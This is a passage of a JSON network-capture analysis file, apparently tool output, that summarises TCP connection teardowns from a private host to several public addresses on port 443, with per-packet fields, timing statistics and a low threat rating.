378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49956], \"dst_ports\": [443], \"first_packet\": 1777400588.045094, \"last_packet\": 1777400607.571525, \"packets\": [{\"packet_number\": 164, \"timestamp\": 1777400588.045094, \"timestamp_iso\": \"2026-04-28T23:53:08.045094\", \"timestamp_human\": \"2026-04-28 23:53:08.045\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42256, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 169, \"timestamp\": 1777400588.372311, \"timestamp_iso\": \"2026-04-28T23:53:08.372311\", \"timestamp_human\": \"2026-04-28 23:53:08.372\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42257, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 175, \"timestamp\": 1777400589.075432, \"timestamp_iso\": \"2026-04-28T23:53:09.075432\", \"timestamp_human\": \"2026-04-28 23:53:09.075\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42258, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 181, \"timestamp\": 1777400590.473677, \"timestamp_iso\": \"2026-04-28T23:53:10.473677\", \"timestamp_human\": \"2026-04-28 23:53:10.473\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42259, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 187, \"timestamp\": 1777400592.97399, \"timestamp_iso\": \"2026-04-28T23:53:12.973990\", \"timestamp_human\": \"2026-04-28 23:53:12.973\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42260, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 196, \"timestamp\": 1777400597.862912, \"timestamp_iso\": \"2026-04-28T23:53:17.862912\", \"timestamp_human\": \"2026-04-28 23:53:17.862\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42261, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 205, \"timestamp\": 1777400607.571525, \"timestamp_iso\": \"2026-04-28T23:53:27.571525\", \"timestamp_human\": \"2026-04-28 23:53:27.571\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42262, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739734, \"tcp_ack\": 4241599660, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.32721710205078125, 0.7031209468841553, 1.398244857788086, 2.5003130435943604, 4.8889219760894775, 9.708613157272339], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.5264310836792, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.35848844932297014, \"bytes_per_second\": 19.358376263440388, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.2544051806131997, \"min_interval\": 0.32721710205078125, \"max_interval\": 9.708613157272339}, {\"source\": \"192.168.122.168\", \"target\": \"13.107.3.254\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49955], \"dst_ports\": [443], \"first_packet\": 1777400588.050531, \"last_packet\": 1777400607.879573, \"packets\": [{\"packet_number\": 165, \"timestamp\": 1777400588.050531, \"timestamp_iso\": \"2026-04-28T23:53:08.050531\", \"timestamp_human\": \"2026-04-28 23:53:08.050\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22826, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 174, \"timestamp\": 1777400588.481859, \"timestamp_iso\": \"2026-04-28T23:53:08.481859\", \"timestamp_human\": \"2026-04-28 23:53:08.481\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22827, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 180, \"timestamp\": 1777400589.182842, \"timestamp_iso\": \"2026-04-28T23:53:09.182842\", \"timestamp_human\": \"2026-04-28 23:53:09.182\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22828, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 186, \"timestamp\": 1777400590.583099, \"timestamp_iso\": \"2026-04-28T23:53:10.583099\", \"timestamp_human\": \"2026-04-28 23:53:10.583\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22829, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 192, \"timestamp\": 1777400593.083985, \"timestamp_iso\": \"2026-04-28T23:53:13.083985\", \"timestamp_human\": \"2026-04-28 23:53:13.083\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22830, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 201, \"timestamp\": 1777400598.081815, \"timestamp_iso\": \"2026-04-28T23:53:18.081815\", \"timestamp_human\": \"2026-04-28 23:53:18.081\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22831, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 210, \"timestamp\": 1777400607.879573, \"timestamp_iso\": \"2026-04-28T23:53:27.879573\", \"timestamp_human\": \"2026-04-28 23:53:27.879\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22832, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304945, \"tcp_ack\": 1203919404, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.43132805824279785, 0.7009830474853516, 1.400256872177124, 2.5008862018585205, 4.997829914093018, 9.797758102416992], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.829042196273804, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.35301755529651413, \"bytes_per_second\": 19.062947986011764, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.304840366045634, \"min_interval\": 0.43132805824279785, \"max_interval\": 9.797758102416992}, {\"source\": \"192.168.122.168\", \"target\": \"150.171.28.12\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49687], \"dst_ports\": [443], \"first_packet\": 1777400588.052597, \"last_packet\": 1777400607.571638, \"packets\": [{\"packet_number\": 166, \"timestamp\": 1777400588.052597, \"timestamp_iso\": \"2026-04-28T23:53:08.052597\", \"timestamp_human\": \"2026-04-28 23:53:08.052\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"150.171.28.12\", \"ttl\": 128, \"ip_id\": 64247, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49687, \"dst_port\": 443, \"tcp_seq\": 92098708, \"tcp_ack\": 3550148941, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 170, \"timestamp\": 1777400588.372445, \"timestamp_iso\": \"2026-04-28T23:53:08.372445\", \"timestamp_human\": \"2026-04-28 23:53:08.372\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"150.171.28.12\", \"ttl\": 128, \"ip_id\": 64248, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49687, \"dst_port\": 443, \"tcp_seq\": 92098708, \"tcp_ack\": 3550148941, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 176, \"timestamp\": 1777400589.075568, \"timestamp_iso\": \"2026-04-28T23:53:09.075568\", \"timestamp_human\": \"2026-04-28 23:53:09.075\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"150.171.28.12\", \"ttl\": 128, \"ip_id\": 64249, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49687, \"dst_port\": 443, \"tcp_seq\": 92098708, \"tcp_ack\": 3550148941, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 182, \"timestamp\": 1777400590.473772, \"timestamp_iso\": \"2026-04-28T23:53:10.473772\", \"timestamp_human\": \"2026-04-28 23:53:10.473\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"150.171.28.12\", \"ttl\": 128, \"ip_id\": 64250, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49687, \"dst_port\": 443, \"tcp_seq\": 92098708, \"tcp_ack\": 3550148941, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 188, \"timestamp\": 1777400592.974096, \"timestamp_iso\": \"2026-04-28T23:53:12.974096\", \"timestamp_human\": \"2026-04-28 23:53:12.974\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"150.171.28.12\", \"ttl\": 128, \"ip_id\": 64251, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49687, \"dst_port\": 443, \"tcp_seq\": 92098708, \"tcp_ack\": 3550148941, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 197, \"timestamp\": 1777400597.863021, \"timestamp_iso\": \"2026-04-28T23:53:17.863021\", \"timestamp_human\": \"2026-04-28 23:53:17.863\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"150.171.28.12\", \"ttl\": 128, \"ip_id\": 64252, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49687, \"dst_port\": 443, \"tcp_seq\": 92098708, \"tcp_ack\": 3550148941, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 206, \"timestamp\": 1777400607.571638, \"timestamp_iso\": \"2026-04-28T23:53:27.571638\", \"timestamp_human\": \"2026-04-28 23:53:27.571\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"150.171.28.12\", \"ttl\": 128, \"ip_id\": 64253, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49687, \"dst_port\": 443, \"tcp_seq\": 92098709, \"tcp_ack\": 3550148941, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.31984806060791016, 0.7031228542327881, 1.3982040882110596, 2.500324010848999, 4.888924837112427, 9.708617210388184], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.519041061401367, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3586241751313492, \"bytes_per_second\": 19.365705457092858, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.253173510233561, \"min_interval\": 0.31984806060791016, \"max_interval\": 9.708617210388184}, {\"source\": \"192.168.122.168\", \"target\": \"204.79.197.222\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49958], \"dst_ports\": [443], \"first_packet\": 1777400588.052694, \"last_packet\": 1777400607.571665, \"packets\": [{\"packet_number\": 167, \"timestamp\": 1777400588.052694, \"timestamp_iso\": \"2026-04-28T23:53:08.052694\", \"timestamp_human\": \"2026-04-28 23:53:08.052\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 340, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 171, \"timestamp\": 1777400588.372465, \"timestamp_iso\": \"2026-04-28T23:53:08.372465\", \"timestamp_human\": \"2026-04-28 23:53:08.372\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 341, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 177, \"timestamp\": 1777400589.075588, \"timestamp_iso\": \"2026-04-28T23:53:09.075588\", \"timestamp_human\": \"2026-04-28 23:53:09.075\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 342, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 183, \"timestamp\": 1777400590.473793, \"timestamp_iso\": \"2026-04-28T23:53:10.473793\", \"timestamp_human\": \"2026-04-28 23:53:10.473\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 343, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 189, \"timestamp\": 1777400592.974116, \"timestamp_iso\": \"2026-04-28T23:53:12.974116\", \"timestamp_human\": \"2026-04-28 23:53:12.974\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 344, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 198, \"timestamp\": 1777400597.863041, \"timestamp_iso\": \"2026-04-28T23:53:17.863041\", \"timestamp_human\": \"2026-04-28 23:53:17.863\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 345, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 207, \"timestamp\": 1777400607.571665, \"timestamp_iso\": \"2026-04-28T23:53:27.571665\", \"timestamp_human\": \"2026-04-28 23:53:27.571\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 346, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733384, \"tcp_ack\": 974826609, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.31977081298828125, 0.7031230926513672, 1.398205041885376, 2.5003230571746826, 4.888924837112427, 9.708624124526978], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.51897096633911, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3586254629955468, \"bytes_per_second\": 19.36577500175953, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.253161827723185, \"min_interval\": 0.31977081298828125, \"max_interval\": 9.708624124526978}, {\"source\": \"192.168.122.168\", \"target\": \"23.48.245.217\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49954], \"dst_ports\": [443], \"first_packet\": 1777400588.061058, \"last_packet\": 1777400607.571693, \"packets\": [{\"packet_number\": 168, \"timestamp\": 1777400588.061058, \"timestamp_iso\": \"2026-04-28T23:53:08.061058\", \"timestamp_human\": \"2026-04-28 23:53:08.061\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4828, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 172, \"timestamp\": 1777400588.372483, \"timestamp_iso\": \"2026-04-28T23:53:08.372483\", \"timestamp_human\": \"2026-04-28 23:53:08.372\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4829, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 178, \"timestamp\": 1777400589.075606, \"timestamp_iso\": \"2026-04-28T23:53:09.075606\", \"timestamp_human\": \"2026-04-28 23:53:09.075\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4830, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, 